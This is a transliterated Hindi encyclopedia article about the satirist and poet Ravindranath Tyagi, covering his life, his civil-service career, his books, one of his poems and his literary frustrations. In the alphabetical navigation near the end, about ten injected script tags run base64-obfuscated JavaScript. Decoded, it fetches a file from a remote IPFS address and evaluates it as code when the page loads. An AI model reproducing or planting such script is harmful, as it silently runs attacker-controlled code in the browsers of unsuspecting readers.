रवीन्द्रनाथ त्यागी

	ravindranath tyagi
	ravindranath tyagi\|200px\|center
poora nam	ravindranath tyagi
janm	9 mee, 1930
janm bhoomi	kasba nahataur, zila bijanaur, uttar pradesh
abhibhavak	mata- chameli devi; pita- pandit muraridatt sharma
karm bhoomi	bharat
karm-kshetr	lekhak
shiksha	em.e. arthashastr, ilahabad vishvavidyalay
puraskar-upadhi	rashtriy sharad joshi samman, 1998
prasiddhi	vyangyakar aur lekhak
nagarikata	bhartiy
any janakari	ravindranath tyagi ji ka manana tha ki samaj ki kuritiyoan ka bhandapho d keval aur keval vyangy dvara hi ho sakata hai aur usamean hasy bhi samavisht ho jae to vyangy ka rang aur tej ho jata hai.
inhean bhi dekhean	kavi soochi, sahityakar soochi

ravindranath tyagi (aangrezi: Ravindranath Tyagi, janm- 9 mee, 1930) prasiddh bharatiy vyangyakar aur lekhak the. bahut kam hi log janate haian ki tyagi ji jitane achchhe vyangyakar the, utane hi b de kavi bhi the. ek alochak ki manean to unake sahityik jivan ki sabase b di bat yahi thi ki unake vyangyakar ki lokapriyata ne ek bar unake kavi ki garadan dabochi, to phir jivan bhar nahian chho di. hindi mean vyangy aj ek pratishthit vidha hai to isaka shrey usako is roop mean gadhane mean harishankar parasaee, shrilal shukl aur sharad joshi ke sath ravindranath tyagi dvara kiye gaye apratim srijan ko jata hai. ravindranath tyagi ko varsh 1998 mean pratishthit 'rashtriy sharad joshi samman' se navaja gaya tha.

parichay

ravindranath tyagi ka janm 9 mee, 1930 ko uttar pradesh ke bijanaur jile ke nahataur kasbe mean mata chameli devi ke garbh se hua aur ve apana samoocha balyakal ghor abhavoan ke bich gujarane ko abhishapt rahe. isake lie pita pandit muraridatt sharma ki akarmanyata ko unhoanne kabhi maph nahian kiya. unhian ke shabdoan mean kahean, to abhavoan ke daur mean jiandagi unake sath prayah hamesha jang khae majak ki tarah pesh ati rahi. phir bhi unhoanne apani medha ko kuanthit nahian hone diya aur atyant darun paristhitiyoan ke bich ilahabad vishvavidyalay se arthashastr vishay mean em.e. ki pariksha sarvochch sthan pakar uttirn ki. isake lie unhean svarn padak prapt hua.^[1]

isase pahale ki parikshaoan mean bhi unhoanne ekamatr apane dridh manobal ke sahare pratham shreni aur vishesh yogyataean payi thian. 1955 mean unaka iandiyan dipheans ekauants sarvis mean aphasar ke roop mean chayan hua aur arthik sthitiyaan anukool hueean to bhi 36 sal ki sevavadhi mean unake svabhimani vyangyakar ko yahi lagata raha ki yah naukari use nigalati ja rahi hai. naukari kitani bhi subhite ki ho, vah kisi sarjak ko nirbadh sarjana kahaan karane deti hai. pratibha aur atmasamman ki yah dushman usamean badha banakar to kh di hi hoti hai. lekin is badha ke bavajood 4 sitanbar, 2004 ko deharadoon mean sahity-sansar ko alavida kahane se pahale ravindranath tyagi usako itana kuchh de chuke the ki poore santosh ke sath mahaprayan kar sakate the.

lekhan kary

mahaprayan se pahale tak ravindranath tyagi apane krititv mean 34 hasy vyangy sangrah jo d chuke the, jinamean se kee ka prakashan bharatiy jnanapith ne kiya tha. unaka pahala sangrah ‘khuli dhoop mean nav par’ 1963 mean to akhiri ‘basant se patajh d tak’ unake nidhan ke bad 2005 mean chhapa. 1980 mean ‘apoorn katha’ nam se unaka ek upanyas bhi aya tha jabaki isase pahale 1978 mean unhoanne ‘urdoo hindi hasy vyangy’ nam se ek b da hi pratishthapoorn aur dirghakalik mahatv ka sankalan sanpadit kiya tha.

aj bahut kam hi log janate haian ki tyagi ji jitane achchhe vyangyakar utane hi b de kavi bhi the. ek alochak ki manean to unake sahityik jivan ki sabase b di trejedi yahi thi ki unake vyangyakar ki lokapriyata ne ek bar unake kavi ki garadan dabochi to phir yavatjivan chho di hi nahian. yah tab tha jab unake kavita sangrah ‘salib se nav tak’ ke bare mean varishth kavi harivansharay bachchan ka manana tha ki use kam se kam do bar ‘jnanapith puraskar' diya jana chahie, kyoanki ajney ko ‘kitani navoan mean kitani bar’ par ek bar diya ja chuka hai.^[1]

apane kavi ke bare mean khud tyagi ji ki kavy pankti hai- "jisane dekha nahian mera kavi, usane dekhi nahian meri sachchi chhavi", jabaki raghupati sahay phirak gorakhapuri sahridayata aur svatantrata ko tyagi ji ke kavi ke sabase b de gunoan mean ginate the.

phaansi par tang gaya akash

ravindranath tyagi ke kavi ki chiantaoan ki bat karean to unaki ek chhavi unaki ‘phaansi par tang gaya akash’ shirshak is kavita mean bhi dekhi ja sakati hai-

phaansi par tang gaya akash
samudr apane hi bhanvar mean doob gaya

khaiyoan mean se nikalakar sahasa
ve sab marane lage unhean
jinhean ve janate tak nahian the

pahale mara sangit
phir mare, prem, yauvan aur roop
dakshin disha ko gho da pheankata rajakumar
aur isake bad mar ge ve,
sab ke sab khud bhi

topoan ke kabristan mean
daphn ho gaya barood ka boodha jadoogar
ve sabake sab kisalie mare the
isaka pata unhean kabhi nahian laga.

sapana raha 'jnanapith'

ravindranath tyagi ke nikat doosari b di trejedi yah thi ki unake rahate unhean terah any puraskar v alankaran to mile, jinamean se kee khase pratishthit mane jate haian, lekin ‘jnanapith’ unake lie sapana hi bana raha. bad mean is aur kee any karanoan se ve khase avasadagrast rahane lage the. ek bar to unhoanne likha bhi ki apani lanbi sahity-sadhana se yash chho dakar unhean kuchh nahian mila. unhian ke shabdoan mean, ‘peanshan n hoti to ghar mean choolha tak n jal pata kyoanki beeeman prakashak rayalti to nahian hi dete, oopar se upadesh dete hue kahate haian ki vyangy aur kavita chho die, aparadh, seks, jasoosi, anaitik prem vagairah par likhie jabaki puraskaroan ke sath anek visangatiyaan jo d di gayi haian.’ lekin unaka b dappan dekhiye ki dukh aur shok donoan se ‘panipat ki chauthi l daee’ l date hue bhi unhoanne unhean hamesha apani ‘niji sanpatti’ hi samajha aur apane vyangyakar ke sath kabhi bhi unaka sajha nahian kiya, isalie unaka vyangyakar shuroo se aant tak ek jaisa utphull najar ata hai.^[1]

kushal vyangyakar

kahanikar radhakrishna ki manean to unake hasy vyangyoan mean lathi se baansuri bajane ki kala dikhati hai lekin alochak pushpapal sianh isase asahamati jatate hue kahate haian ki vastav mean tyagi ji lathi se baansuri nahian bajate, baansuri se chabuk satakarane ka kam lete haian. jo bhi ho, ravindranath tyagi ke vyangy ka kainavas bahut b da hai aur unaki adhyayanashilata to apana sani hi nahian rakhati. isilie ve dayari, patr, yatra vrittaant, mini katha, laghukatha, shikarakatha, sansmaran, atmakathy, upanyas, samiksha aur shodh adi gady ki anek vidhaoan ko samriddh kar paye.

kee vidhaoan mean unaki jaisi kushalata se hasy vyangy ki bahurangi v bahuayami chhata bikherana n unake samay mean koee asan kam n tha aur n aj hai. unaka manana tha ki samaj ki kuritiyoan ka bhandapho d keval aur keval vyangy dvara hi ho sakata hai aur usamean hasy bhi samavisht ho jae to vyangy ka rang aur tej ho jata hai. aj ki tarikh mean unake vyangyoan se gujarate hue yah dekhakar achchha lagata hai ki apani sarakari naukari ki bandishoan ki jyada paravah n karate hue ravindranath tyagi ne apani rachanaoan mean daphtari galajat par khoob khulakar aur nidar bhav se, usake bhitari prakoshthoan tak jakar akraman kiya.

naukari ki bandish

yah aur bat hai ki samaj ke sath sarakar ki vyavastha ki avyavasthaoan ko bhi bharapoor nishane par lene ke bavajood unake bhitar yah asantosh bana rahata tha ki naukari ke karan unapar thop die ge sarakari anushasan ke chalate ve aisi bahut-si galajatoan ko vyangy ke kshetr mean nahian la pae, jinhean prashasak hone ke nate ve gaharaee se janate the. hamare yahaan shayad isilie asantosh ko shrivriddhi ka mool kaha gaya hai- 'asantoshah shriyo moolamh!' is roop mean yah asantosh bhi ravindranath tyagi ko b da hi banata hai.

‘achchhi hindi’ shirshak vyangy mean unhoanne apane ek aise asantosh ka jikr bhi kiya hai, jisase unaka rakt khaulane lagata tha. unhoanne likha hai^[1]-

"maian hindi ka lekhak hooan. lekhak ki sabase b di pooanji usaki bhasha hoti hai. nitaant garibi ki sthiti mean bhi urdoo ke mahan kavi mir taki mir ne ek seth ji se, jinaki ga di mean ve bina tikat yatra kar rahe the, sirph is karan batachit karane se inakar kar diya tha ki unhean vaisa karane se apani jaban kharab ho jane ka khatara tha. magar dukh ki bat yah hai ki aisa lagata hai jaise ki sari sarakari aur gair-sarakari sansthaoan ne is bat ka nishchay kar liya hai ki meri bhasha kharab ho jae. in prayatnoan ko dekhakar mera rakt khaulane lagata hai aur samajh mean nahian ata ki kya karooan. kya mudran aur kya anuvad aur kya uchcharan aur kya vyakaran-hiandi jo hai vah sare kshetroan mean viragati prapt karati ja rahi hai."

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 ^1.3 ravindranath tyagi: ‘jisane dekha nahian mera kavi, usane dekhi nahian meri sachchi chhavi’ (hiandi) thewirehindi.com. abhigaman tithi: 09 aktoobar, 2022.

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[pp-1] 1.0 ^1.1 ^1.2 ^1.3 ravindranath tyagi: ‘jisane dekha nahian mera kavi, usane dekhi nahian meri sachchi chhavi’ (hiandi) thewirehindi.com. abhigaman tithi: 09 aktoobar, 2022.

[1]

ravindranath tyagi
ravindranath tyagi\|200px\|center
poora nam	ravindranath tyagi
janm	9 mee, 1930
janm bhoomi	kasba nahataur, zila bijanaur, uttar pradesh
abhibhavak	mata- chameli devi pita- pandit muraridatt sharma
karm bhoomi	bharat
karm-kshetr	lekhak
shiksha	em.e. arthashastr, ilahabad vishvavidyalay
puraskar-upadhi	rashtriy sharad joshi samman, 1998
prasiddhi	vyangyakar aur lekhak
nagarikata	bhartiy
any janakari	ravindranath tyagi ji ka manana tha ki samaj ki kuritiyoan ka bhandapho d keval aur keval vyangy dvara hi ho sakata hai aur usamean hasy bhi samavisht ho jae to vyangy ka rang aur tej ho jata hai.
inhean bhi dekhean	kavi soochi, sahityakar soochi